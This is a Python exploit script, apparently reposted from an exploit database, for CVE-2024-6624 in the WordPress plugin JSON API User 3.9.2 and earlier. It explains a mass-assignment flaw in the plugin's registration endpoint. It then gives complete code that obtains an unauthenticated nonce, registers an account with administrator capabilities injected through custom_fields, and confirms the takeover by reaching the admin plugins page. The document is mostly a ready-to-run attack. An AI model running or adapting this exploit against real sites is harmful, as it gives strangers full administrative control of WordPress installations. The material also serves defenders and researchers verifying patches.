Share
## https://sploitus.com/exploit?id=PACKETSTORM:226416
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin JSON API User <= 3.9.2 - Unauthenticated Privilege Escalation to Administrator (Mass-Assignment)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/json-api-user/
    # Software Link: https://downloads.wordpress.org/plugin/json-api-user.3.9.2.zip
    # Version: 3.9.2 (REQUIRED)
    # Tested on: WordPress 6.1.1, PHP 7.4, MariaDB 10.6 (Docker, Debian / Linux)
    # CVE : CVE-2024-6624
    """
    JSON API User <= 3.9.2 extends the JSON API plugin with a /user/register endpoint. After creating
    the account with wp_insert_user() (controllers/User.php:147), it iterates the attacker-controlled
    `custom_fields` array straight into update_user_meta() with NO key allowlist:
    
        controllers/User.php:166  if (is_array($_REQUEST['custom_fields'])) {
        controllers/User.php:168    foreach ($_REQUEST['custom_fields'] as $field=>$val) {
        controllers/User.php:169      $data[$field] = update_user_meta($user_id, $field, $val);
    
    Supplying custom_fields[wp_capabilities][administrator]=1 (and wp_user_level=10) writes the
    administrator role capability onto the freshly-created user. An unauthenticated visitor registers
    and is immediately an administrator.
    
    The required registration nonce is handed out to anyone by the JSON API core get_nonce method
    (?json=get_nonce&controller=user&method=register) โ€” no authentication needed.
    
    Prior state: JSON API core plugin active + its 'user' controller enabled
    (option json_api_controllers contains 'user') + users_can_register = 1.
    """
    import argparse, sys, re, random
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True, help="e.g. http://localhost:8091")
        ap.add_argument("--user", default="jau" + str(random.randint(1000, 99999)))
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        nr = s.get(base + "/?json=get_nonce&controller=user&method=register&insecure=cool", timeout=25)
        try:
            nonce = nr.json().get("nonce")
        except Exception:
            nonce = None
        print(f"[*] Target: {base} | unauth register nonce: {nonce}")
        if not nonce:
            print("[-] could not obtain nonce (json-api 'user' controller enabled?)"); return 1
    
        q = {"json": "user/register", "username": args.user, "email": args.user + "@evil.com",
             "nonce": nonce, "insecure": "cool", "user_pass": args.pw, "display_name": args.user,
             "custom_fields[wp_capabilities][administrator]": "1", "custom_fields[wp_user_level]": "10"}
        r = s.get(base + "/", params=q, timeout=25)
        print(f"[*] register -> HTTP {r.status_code} :: {re.sub(chr(92)+'s+',' ',r.text[:160])}")
    
        # prove: log in as the new user and reach an administrator-only screen
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        a.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        p = a.get(base + "/wp-admin/plugins.php", timeout=20)
        if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
            print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ€” new user '{args.user}' is administrator "
                  f"(reached wp-admin/plugins.php).")
            return 0
        print(f"\n[-] not confirmed (plugins.php={p.status_code})"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())